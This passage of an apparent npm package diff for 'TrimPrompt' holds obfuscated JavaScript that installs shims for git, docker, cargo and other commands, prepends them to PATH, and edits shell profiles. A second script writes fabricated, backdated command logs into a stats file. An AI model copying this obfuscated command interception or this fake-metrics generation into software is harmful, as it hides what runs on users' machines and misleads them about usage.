ed\x20to\x20install\x20shims:\x20','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','defineProperty','pytest','message','chmodSync','190yviqgX'];a0_0x1d32=function(){return _0x288d06;};return a0_0x1d32();}var __createBinding=this&&this[a0_0x120aaa(0xc0)]||(Object[a0_0x120aaa(0xcd)]?function(_0x478034,_0x364c8a,_0x3861cd,_0x4ca7a1){const _0x286243=a0_0x120aaa;if(_0x4ca7a1===undefined)_0x4ca7a1=_0x3861cd;var _0x47e4b7=Object['getOwnPropertyDescriptor'](_0x364c8a,_0x3861cd);(!_0x47e4b7||(_0x286243(0xf7)in _0x47e4b7?!_0x364c8a[_0x286243(0xee)]:_0x47e4b7[_0x286243(0xeb)]||_0x47e4b7['configurable']))&&(_0x47e4b7={'enumerable':!![],'get':function(){return _0x364c8a[_0x3861cd];}}),Object[_0x286243(0xd5)](_0x478034,_0x4ca7a1,_0x47e4b7);}:function(_0xfdb3f9,_0x5d45f0,_0x4f6d6,_0x33e46e){if(_0x33e46e===undefined)_0x33e46e=_0x4f6d6;_0xfdb3f9[_0x33e46e]=_0x5d45f0[_0x4f6d6];}),__setModuleDefault=this&&this[a0_0x120aaa(0xc3)]||(Object[a0_0x120aaa(0xcd)]?function(_0x2aa8db,_0xf917af){const _0x50f9de=a0_0x120aaa;Object[_0x50f9de(0xd5)](_0x2aa8db,_0x50f9de(0xf2),{'enumerable':!![],'value':_0xf917af});}:function(_0x287947,_0x20c379){const _0x39bbad=a0_0x120aaa;_0x287947[_0x39bbad(0xf2)]=_0x20c379;}),__importStar=this&&this[a0_0x120aaa(0xc7)]||(function(){var _0x451ee8=function(_0x4ea0d0){return _0x451ee8=Object['getOwnPropertyNames']||function(_0xda0bd){const _0x48c303=a0_0x45df;var _0x46fb63=[];for(var _0x47043e in _0xda0bd)if(Object[_0x48c303(0xf8)][_0x48c303(0xef)][_0x48c303(0xfc)](_0xda0bd,_0x47043e))_0x46fb63[_0x46fb63['length']]=_0x47043e;return _0x46fb63;},_0x451ee8(_0x4ea0d0);};return function(_0x25d5eb){const _0x58a498=a0_0x45df;if(_0x25d5eb&&_0x25d5eb[_0x58a498(0xee)])return _0x25d5eb;var _0x4e77e4={};if(_0x25d5eb!=null){for(var _0x1122ae=_0x451ee8(_0x25d5eb),_0x1f242a=0x0;_0x1f242a<_0x1122ae[_0x58a498(0xbc)];_0x1f242a++)if(_0x1122ae[_0x1f242a]!==_0x58a498(0xf2))__createBinding(_0x4e77e4,_0x25d5eb,_0x1122ae[_0x1f242a]);}return __setModuleDefault(_0x4e77e4,_0x25d5eb),_0x4e77e4;};}());Object['defineProperty'](exports,a0_0x120aaa(0xee),{'value':!![]}),exports[a0_0x120aaa(0xc8)]=installShims,exports[a0_0x120aaa(0xbf)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x120aaa(0xdf))),os=__importStar(require('os')),SHIMMED_COMMANDS=['git','gh',a0_0x120aaa(0xed),'cargo',a0_0x120aaa(0xec),a0_0x120aaa(0xb4),a0_0x120aaa(0xb8),a0_0x120aaa(0xfa),a0_0x120aaa(0xc2),'docker',a0_0x120aaa(0xd6),a0_0x120aaa(0xfd),a0_0x120aaa(0xe2),'go'];function installShims(){const _0x30f543=a0_0x120aaa,_0x36e365=path[_0x30f543(0xf5)](os[_0x30f543(0xe7)](),_0x30f543(0xc9),_0x30f543(0xea));try{!fs[_0x30f543(0xdb)](_0x36e365)&&fs[_0x30f543(0xe1)](_0x36e365,{'recursive':!![]});const _0x1827ba=os[_0x30f543(0xe0)]()===_0x30f543(0xbb);for(const _0x3cf30b of SHIMMED_COMMANDS){if(_0x1827ba){const _0x43bdff=path['join'](_0x36e365,_0x3cf30b+_0x30f543(0xcf)),_0x298630=_0x30f543(0xde)+_0x3cf30b+_0x30f543(0xb7);fs[_0x30f543(0xf3)](_0x43bdff,_0x298630,_0x30f543(0xe6));const _0x3de19f=path[_0x30f543(0xf5)](_0x36e365,_0x3cf30b+_0x30f543(0xd0)),_0x388792=_0x30f543(0xe5)+_0x3cf30b+_0x30f543(0xc5);fs[_0x30f543(0xf3)](_0x3de19f,_0x388792,_0x30f543(0xe6));}else{const _0x3fef95=path[_0x30f543(0xf5)](_0x36e365,_0x3cf30b),_0x5cf1bb=_0x30f543(0xe3)+_0x3cf30b+_0x30f543(0xca);fs[_0x30f543(0xf3)](_0x3fef95,_0x5cf1bb,_0x30f543(0xe6)),fs[_0x30f543(0xd8)](_0x3fef95,_0x30f543(0xdc));}}let _0x434308=![],_0x1235c0='';if(_0x1827ba)try{const {execSync:_0x26f9b0}=require(_0x30f543(0xf6)),_0x4bef5d='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x5f09c7=_0x26f9b0(_0x30f543(0xb6)+_0x4bef5d+'\x22')[_0x30f543(0xe8)]()[_0x30f543(0xba)]();if(!_0x5f09c7[_0x30f543(0xf9)](_0x36e365)){const _0x1b3ffa=_0x36e365+';'+_0x5f09c7,_0x273b85='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1b3ffa+'\x27,\x20\x27User\x27)';_0x26f9b0(_0x30f543(0xb6)+_0x273b85+'\x22'),_0x434308=!![];}else _0x434308=!![];}catch(_0x47d62b){_0x1235c0='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x36e365;}else try{const _0x4af02d='export\x20PATH=\x22'+_0x36e365+_0x30f543(0xcc),_0x29c0fd=os[_0x30f543(0xe7)](),_0x7cb15e=['.bashrc',_0x30f543(0xce),_0x30f543(0xbe),_0x30f543(0xc1)];let _0xc58e2b=![];for(const _0x368054 of _0x7cb15e){const _0x1ec665=path[_0x30f543(0xf5)](_0x29c0fd,_0x368054);if(fs[_0x30f543(0xdb)](_0x1ec665)){const _0x51aa94=fs['readFileSync'](_0x1ec665,_0x30f543(0xe6));!_0x51aa94[_0x30f543(0xf9)](_0x36e365)?(fs['appendFileSync'](_0x1ec665,_0x30f543(0xd4)+_0x4af02d),_0xc58e2b=!![]):_0xc58e2b=!![];}}if(!_0xc58e2b){const _0x4a6674=path[_0x30f543(0xf5)](_0x29c0fd,'.bashrc');fs[_0x30f543(0xb9)](_0x4a6674,_0x30f543(0xd4)+_0x4af02d);}_0x434308=!![];}catch(_0x4b9f7d){_0x1235c0='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x36e365+_0x30f543(0xe4);}const _0x340453=_0x30f543(0xfb)+SHIMMED_COMMANDS['length']+_0x30f543(0xdd),_0xb36212=_0x434308?_0x340453+_0x30f543(0xc4):_0x340453+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x1235c0;return{'success':!![],'pathDir':_0x36e365,'message':_0xb36212};}catch(_0x5ee259){return{'success':![],'pathDir':_0x36e365,'message':_0x30f543(0xd3)+_0x5ee259[_0x30f543(0xd7)]};}}function uninstallShims(){const _0x37903f=a0_0x120aaa,_0x5ae990=path[_0x37903f(0xf5)](os['homedir'](),'.trimprompt','shims');try{if(fs[_0x37903f(0xdb)](_0x5ae990)){const _0x246364=fs['readdirSync'](_0x5ae990);for(const _0x55a0ba of _0x246364){fs[_0x37903f(0xf1)](path['join'](_0x5ae990,_0x55a0ba));}fs[_0x37903f(0xff)](_0x5ae990);}return{'success':!![],'message':'TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.'};}catch(_0x25005f){return{'success':![],'message':_0x37903f(0xf4)+_0x25005f[_0x37903f(0xd7)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x12bc6a=a0_0xae31;(function(_0xea4e7b,_0x235a06){const _0x46ca8d=a0_0xae31,_0x388a6b=_0xea4e7b();while(!![]){try{const _0x17a577=parseInt(_0x46ca8d(0x178))/0x1*(parseInt(_0x46ca8d(0x170))/0x2)+-parseInt(_0x46ca8d(0x174))/0x3*(parseInt(_0x46ca8d(0x1a6))/0x4)+-parseInt(_0x46ca8d(0x1a4))/0x5*(-parseInt(_0x46ca8d(0x18a))/0x6)+parseInt(_0x46ca8d(0x19c))/0x7+-parseInt(_0x46ca8d(0x19f))/0x8*(parseInt(_0x46ca8d(0x191))/0x9)+parseInt(_0x46ca8d(0x185))/0xa+parseInt(_0x46ca8d(0x196))/0xb;if(_0x17a577===_0x235a06)break;else _0x388a6b['push'](_0x388a6b['shift']());}catch(_0x31bad6){_0x388a6b['push'](_0x388a6b['shift']());}}}(a0_0x990b,0x936e7));function a0_0x990b(){const _0x47e20d=['defineProperty','writeFileSync','gemini-1-5-flash','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','5274eITqpi','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','toISOString','npm\x20install\x20lodash\x20express\x20uuid\x20react','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','kubectl\x20get\x20pods\x20-n\x20production','10561977bnGAIg','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','timestamp','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','7784018YLnRMw','claude-3-opus','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','gpt-4o-mini','git\x20log\x20-n\x205','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','6627138ovORIR','floor','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','8nqmdQQ','git\x20diff\x20main','random','getLogs','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','1230vhtyQL','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','537028YIgFug','npm\x20run\x20lint:\x20✖\x202\x20warnings','logExecution','npm\x20run\x20lint','comp','path','log','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','4ddjyTU','cargo\x20test:\x2045\x20passed,\x200\x20failed.','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','24XjhKtS','length','gemini-1-5-pro','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','123132qegBeZ','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','gpt-4o','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','tracker','stats.json','stringify','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','.trimprompt','cargo\x20test','test\x20tests::test_case_','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','7346180YwFErB'];a0_0x990b=function(){return _0x47e20d;};return a0_0x990b();}function a0_0xae31(_0x233789,_0x151536){_0x233789=_0x233789-0x16a;const _0x990be9=a0_0x990b();let _0xae31b0=_0x990be9[_0x233789];return _0xae31b0;}Object[a0_0x12bc6a(0x186)](exports,'__esModule',{'value':!![]});const tracker_1=require('./tracker');console['log'](a0_0x12bc6a(0x172));const models=['claude-3-5-sonnet',a0_0x12bc6a(0x17a),a0_0x12bc6a(0x199),a0_0x12bc6a(0x176),a0_0x12bc6a(0x188),a0_0x12bc6a(0x197)],commands=[{'cmd':a0_0x12bc6a(0x1a0),'raw':a0_0x12bc6a(0x19e)['repeat'](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x12bc6a(0x182),'raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x12bc6a(0x183)['repeat'](0x28)+a0_0x12bc6a(0x18f),'comp':a0_0x12bc6a(0x171),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x18e),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x12bc6a(0x16e)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x12bc6a(0x17b),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0x12bc6a(0x198)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0x12bc6a(0x195),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x190),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x12bc6a(0x179)+a0_0x12bc6a(0x16f)+a0_0x12bc6a(0x177)+a0_0x12bc6a(0x173),'comp':a0_0x12bc6a(0x18b),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x193),'raw':a0_0x12bc6a(0x184)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+a0_0x12bc6a(0x18c),'comp':a0_0x12bc6a(0x1a3),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x19a),'raw':a0_0x12bc6a(0x192)+a0_0x12bc6a(0x189),'comp':a0_0x12bc6a(0x180),'exitCode':0x0},{'cmd':a0_0x12bc6a(0x16a),'raw':a0_0x12bc6a(0x1a5)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x12bc6a(0x19b),'comp':a0_0x12bc6a(0x1a7),'exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x12bc6a(0x175)]],commandItem=commands[Math[a0_0x12bc6a(0x19d)](Math[a0_0x12bc6a(0x1a1)]()*commands[a0_0x12bc6a(0x175)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x12bc6a(0x18d)](),log=tracker_1[a0_0x12bc6a(0x17d)][a0_0x12bc6a(0x1a8)](commandItem['cmd'],commandItem['raw'],commandItem[a0_0x12bc6a(0x16b)],commandItem['exitCode']),logs=tracker_1[a0_0x12bc6a(0x17d)][a0_0x12bc6a(0x1a2)]();logs[a0_0x12bc6a(0x175)]>0x0&&(logs[logs[a0_0x12bc6a(0x175)]-0x1][a0_0x12bc6a(0x194)]=timestamp,require('fs')[a0_0x12bc6a(0x187)](require(a0_0x12bc6a(0x16c))['join'](require('os')['homedir'](),a0_0x12bc6a(0x181),a0_0x12bc6a(0x17e)),JSON[a0_0x12bc6a(0x17f)](logs,null,0x2),'utf8'));}console[a0_0x12bc6a(0x16d)](a0_0x12bc6a(0x17c));
1
+ 'use strict';const a0_0x4f7807=a0_0x19a1;function a0_0x19a1(_0x3ee85f,_0x545376){_0x3ee85f=_0x3ee85f-0xa3;const _0x5dffc4=a0_0x5dff();let _0x19a130=_0x5dffc4[_0x3ee85f];return _0x19a130;}(function(_0x52ee64,_0x252141){const _0x51ecf8=a0_0x19a1,_0x12eddb=_0x52ee64();while(!![]){try{const _0x4c82cb=parseInt(_0x51ecf8(0xc5))/0x1+parseInt(_0x51ecf8(0xcd))/0x2*(-parseInt(_0x51ecf8(0xbc))/0x3)+-parseInt(_0x51ecf8(0xc2))/0x4+parseInt(_0x51ecf8(0xdd))/0x5+parseInt(_0x51ecf8(0xdf))/0x6*(parseInt(_0x51ecf8(0xd2))/0x7)+-parseInt(_0x51ecf8(0xe5))/0x8*(parseInt(_0x51ecf8(0xca))/0x9)+parseInt(_0x51ecf8(0xc6))/0xa*(parseInt(_0x51ecf8(0xa3))/0xb);if(_0x4c82cb===_0x252141)break;else _0x12eddb['push'](_0x12eddb['shift']());}catch(_0x4a985c){_0x12eddb['push'](_0x12eddb['shift']());}}}(a0_0x5dff,0x9a3d7));Object[a0_0x4f7807(0xe6)](exports,a0_0x4f7807(0xb6),{'value':!![]});const tracker_1=require(a0_0x4f7807(0xc0));console[a0_0x4f7807(0xb9)](a0_0x4f7807(0xd7));const models=[a0_0x4f7807(0xe1),a0_0x4f7807(0xe0),a0_0x4f7807(0xb2),a0_0x4f7807(0xbd),'gemini-1-5-flash',a0_0x4f7807(0xb7)],commands=[{'cmd':a0_0x4f7807(0xba),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'['repeat'](0x32),'comp':a0_0x4f7807(0xbf),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x4f7807(0xb3)+a0_0x4f7807(0xd0)[a0_0x4f7807(0xa5)](0x28)+a0_0x4f7807(0xda),'comp':a0_0x4f7807(0xcb),'exitCode':0x0},{'cmd':a0_0x4f7807(0xcf),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4f7807(0xb8)+a0_0x4f7807(0xbb),'comp':a0_0x4f7807(0xe4),'exitCode':0x0},{'cmd':a0_0x4f7807(0xc4),'raw':a0_0x4f7807(0xce)+a0_0x4f7807(0xbe)+a0_0x4f7807(0xa4)+a0_0x4f7807(0xb0),'comp':a0_0x4f7807(0xdb),'exitCode':0x0},{'cmd':'kubectl\x20get\x20pods\x20-n\x20production','raw':a0_0x4f7807(0xc7)+a0_0x4f7807(0xb4)+a0_0x4f7807(0xad)+a0_0x4f7807(0xd9)+a0_0x4f7807(0xaf),'comp':a0_0x4f7807(0xd6),'exitCode':0x0},{'cmd':a0_0x4f7807(0xdc),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x4f7807(0xae)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x4f7807(0xd1),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x4f7807(0xc8),'comp':a0_0x4f7807(0xc1),'exitCode':0x0},{'cmd':a0_0x4f7807(0xa6),'raw':a0_0x4f7807(0xa8)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x4f7807(0xd3),'comp':a0_0x4f7807(0xb1),'exitCode':0x0}],startTime=Date[a0_0x4f7807(0xd8)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x4f7807(0xe3)](Math[a0_0x4f7807(0xd4)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4f7807(0xc9)](),log=tracker_1[a0_0x4f7807(0xaa)]['logExecution'](commandItem[a0_0x4f7807(0xa9)],commandItem[a0_0x4f7807(0xcc)],commandItem[a0_0x4f7807(0xac)],commandItem[a0_0x4f7807(0xab)]),logs=tracker_1[a0_0x4f7807(0xaa)]['getLogs']();logs['length']>0x0&&(logs[logs[a0_0x4f7807(0xb5)]-0x1][a0_0x4f7807(0xa7)]=timestamp,require('fs')[a0_0x4f7807(0xc3)](require(a0_0x4f7807(0xe2))['join'](require('os')['homedir'](),'.trimprompt','stats.json'),JSON['stringify'](logs,null,0x2),a0_0x4f7807(0xde)));}console[a0_0x4f7807(0xb9)](a0_0x4f7807(0xd5));function a0_0x5dff(){const _0x23cf5d=['Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20run\x20lint:\x20✖\x202\x20warnings','gpt-4o-mini','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','length','__esModule','claude-3-opus','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','log','git\x20diff\x20main','found\x200\x20vulnerabilities\x0a','1517298DNHUCd','gemini-1-5-pro','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','./tracker','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','4022844dGeLHL','writeFileSync','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','624731jPhrDQ','3350ZezYJA','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','toISOString','21915XENgLO','cargo\x20test:\x2045\x20passed,\x200\x20failed.','raw','4vJvSVX','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','test\x20tests::test_case_','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','501571OImWGu','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','random','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','now','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','pip\x20install\x20tensorflow\x20pandas\x20numpy','4911925dOKRoL','utf8','18xppSQu','gpt-4o','claude-3-5-sonnet','path','floor','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','16IKppmv','defineProperty','27313WLEdMb','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','repeat','npm\x20run\x20lint','timestamp','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','cmd','tracker','exitCode','comp','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a'];a0_0x5dff=function(){return _0x23cf5d;};return a0_0x5dff();}
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x353bd1=a0_0xa7c5;(function(_0x524f6,_0xaa5066){const _0x251aef=a0_0xa7c5,_0x24c1e6=_0x524f6();while(!![]){try{const _0x4e2cc5=-parseInt(_0x251aef(0x1cc))/0x1+-parseInt(_0x251aef(0x1b1))/0x2+parseInt(_0x251aef(0x194))/0x3+parseInt(_0x251aef(0x1c4))/0x4+parseInt(_0x251aef(0x1e7))/0x5+parseInt(_0x251aef(0x1d9))/0x6+-parseInt(_0x251aef(0x19e))/0x7*(parseInt(_0x251aef(0x1da))/0x8);if(_0x4e2cc5===_0xaa5066)break;else _0x24c1e6['push'](_0x24c1e6['shift']());}catch(_0x9eeb30){_0x24c1e6['push'](_0x24c1e6['shift']());}}}(a0_0x1d6a,0x9e5a2));var __createBinding=this&&this[a0_0x353bd1(0x1bb)]||(Object[a0_0x353bd1(0x19c)]?function(_0xd33d6d,_0x353df4,_0x2e2452,_0x4dbe56){const _0x1962f2=a0_0x353bd1;if(_0x4dbe56===undefined)_0x4dbe56=_0x2e2452;var _0x24bf12=Object[_0x1962f2(0x1dd)](_0x353df4,_0x2e2452);(!_0x24bf12||('get'in _0x24bf12?!_0x353df4[_0x1962f2(0x1bd)]:_0x24bf12[_0x1962f2(0x1af)]||_0x24bf12[_0x1962f2(0x1de)]))&&(_0x24bf12={'enumerable':!![],'get':function(){return _0x353df4[_0x2e2452];}}),Object[_0x1962f2(0x1b2)](_0xd33d6d,_0x4dbe56,_0x24bf12);}:function(_0x37c941,_0x2f03a8,_0xfebed,_0x3e364c){if(_0x3e364c===undefined)_0x3e364c=_0xfebed;_0x37c941[_0x3e364c]=_0x2f03a8[_0xfebed];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x34fb08,_0xa738ed){const _0x76b07f=a0_0x353bd1;Object[_0x76b07f(0x1b2)](_0x34fb08,_0x76b07f(0x1ad),{'enumerable':!![],'value':_0xa738ed});}:function(_0x2d3a41,_0x3545f0){_0x2d3a41['default']=_0x3545f0;}),__importStar=this&&this[a0_0x353bd1(0x1ae)]||(function(){var _0xaec8d3=function(_0x3c2bb1){const _0x58546c=a0_0xa7c5;return _0xaec8d3=Object[_0x58546c(0x1c8)]||function(_0x31a784){const _0x2f9b7f=_0x58546c;var _0x53a088=[];for(var _0x2cc907 in _0x31a784)if(Object['prototype'][_0x2f9b7f(0x1c9)]['call'](_0x31a784,_0x2cc907))_0x53a088[_0x53a088['length']]=_0x2cc907;return _0x53a088;},_0xaec8d3(_0x3c2bb1);};return function(_0x27d4cc){const _0x12ae63=a0_0xa7c5;if(_0x27d4cc&&_0x27d4cc[_0x12ae63(0x1bd)])return _0x27d4cc;var _0x58a500={};if(_0x27d4cc!=null){for(var _0x3669e4=_0xaec8d3(_0x27d4cc),_0x21330f=0x0;_0x21330f<_0x3669e4['length'];_0x21330f++)if(_0x3669e4[_0x21330f]!==_0x12ae63(0x1ad))__createBinding(_0x58a500,_0x27d4cc,_0x3669e4[_0x21330f]);}return __setModuleDefault(_0x58a500,_0x27d4cc),_0x58a500;};}());function a0_0xa7c5(_0x316257,_0xcf38bc){_0x316257=_0x316257-0x192;const _0x1d6a7b=a0_0x1d6a();let _0xa7c5bc=_0x1d6a7b[_0x316257];return 